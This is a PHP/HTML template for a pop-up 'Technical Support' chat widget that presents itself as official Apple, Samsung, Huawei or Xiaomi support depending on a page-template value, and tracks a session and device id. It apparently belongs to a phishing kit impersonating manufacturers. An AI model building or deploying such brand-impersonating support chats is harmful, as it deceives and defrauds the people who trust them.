<html>
    <head>
        <style>
            .contentChat{
                width:300px;
                position:fixed;
                left:12px;
                bottom:-8px;
                background:rgba(255,255,255,.8);
                padding:15px;
                box-shadow:0 0 10px #b7b7b7;
                border-radius:5px;
                z-index:10;
            }
            .headerChat{
                background:rgba(0, 0, 0, 0) linear-gradient(rgb(81, 169, 238), rgb(0, 49, 102)) repeat scroll 0% 0%;
                color:#f5f5f7;
                cursor:pointer;
                border-radius:4px;
            }
            .chatConver{
                border:1px solid #dadada;
                height:200px;
                overflow-y:scroll;
                text-align:left;
                padding:8px;
                color:#9f9999;
            }
            .contentChat input[type="text"]{
                width:100%;
                box-sizing:border-box;
                border:1px solid #dadada;
                margin:6px 0;
                outline:none;
                padding:10px;
                color:#979797;
            }
            .contentChat .form{
                margin:0;
            }
            .conver{
                padding:4px 12px;
                border-radius:6px;
                background:rgb(78, 164, 232);
                color:#fff;
                margin:6px 0;
                float:left;
            }
            .converSup{
                background:rgb(68, 68, 68);
                float:right;
            }
            .conver strong{
                display:block;
            }
            .headerChat h1{
                padding:10px 0;
                font-size:20px;
                margin-top:0;
                text-align:center;
            }
            .headerChat h1 img{
                vertical-align:-3px;
                display:inline;
            }
            .enviar{
                background:rgba(0, 0, 0, 0) linear-gradient(rgb(81, 169, 238), rgb(20, 123, 205)) repeat scroll 0% 0%;
                border:1px solid rgb(20, 130, 208);
                width:100%;
                margin:0;
                color:#fff;
                padding:8px 0;
                border-radius:4px;
                font-size:16px;
                text-align:center;
            }
            .inChat{
                display:none;
            }
        </style>
    </head>
    <body>
        <div class="contentChat">
            <form class="form">
                <div class="headerChat">
                    <?php
                        $lang = explode("-",$response->plantilla);
                        switch($lang[0]){
                            case 'huawei': $image="login2.png"; $marca = "Huawei"; break;
                            case 'samsung': $image="login2.png"; $marca = "Samsung"; break;
                            case 'xiaomi': $image="login2.png"; $marca = "Xiaomi"; break;
                            default: $image="apple.png"; $marca = "Apple";
                        }
                        if($lang[1]=="esp.php"){
                            $title = "Soporte Técnico";
                            $button = "Enviar";
                            $texto = "Hola, bienvenido al chat de soporte técnico de ".$marca.".";
                            $placeholder = "Escribe tu consulta...";
                        }else{
                            $title = "Technical Support";
                            $button = "Send";
                            $texto = "Hello, welcome to ".$marca." support chat.";
                            $placeholder = "Write your question...";
                        }
                    ?>
                    <h1><img src="/assets/img/<?php echo $image;?>" width="20px"> <?php echo $title;?></h1>
                </div>
                <div class="inChat">
                    <div class="chatConver">
                        
                    </div>
                    <input type="text" class="chatWrite" placeholder="<?php echo $placeholder;?>" required>
                    <button class="enviar"><?php echo $button;?></button>
                </div>
            </form>
        </div>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
        <script>
            $(document).ready(function(){
                $(".form").on("submit", enviaChat);
                function enviaChat(a){
                    var sid = '<?php echo session_id();?>';
                    var idequipo = <?php echo $idequipo;?>;
                    var chat = $(".chatWrite").val();
                    $(".chatWrite").val("");
                    $.post(
                        "enviaChat.php",
                        {sid:sid, idequipo:idequipo, chat:chat},
                        function(b){
                            if(b==1){
                                cargaChat();
                            }
                        }
                    );
                    a.preventDefault();
                }
                function cargaChat(){
                    var sid = '<?php echo session_id();?>';
                    var idequipo = <?php echo $idequipo;?>;
                    $.post(
                        "getChat.php",
                        {sid:sid, idequipo:idequipo},
                        function(a){
                            if(a!=""){
                                $(".chatConver").empty().append(a);
                                $(".chatConver").animate({ scrollTop: $(document).height() }, 100);
                            }else{
                                $(".chatConver").empty().append("<?php echo $texto;?>");
                            }
                        }
                    );
                }
                setInterval(function() {
                    cargaChat();   
                }, 3000);
                $(".headerChat").on("click", abreChat);
                function abreChat(){
                    $(".inChat").slideToggle();
                    $(".contentChat").animate({ bottom: '12px' }, 100);
                }
            });
        </script>
    </body>
</html>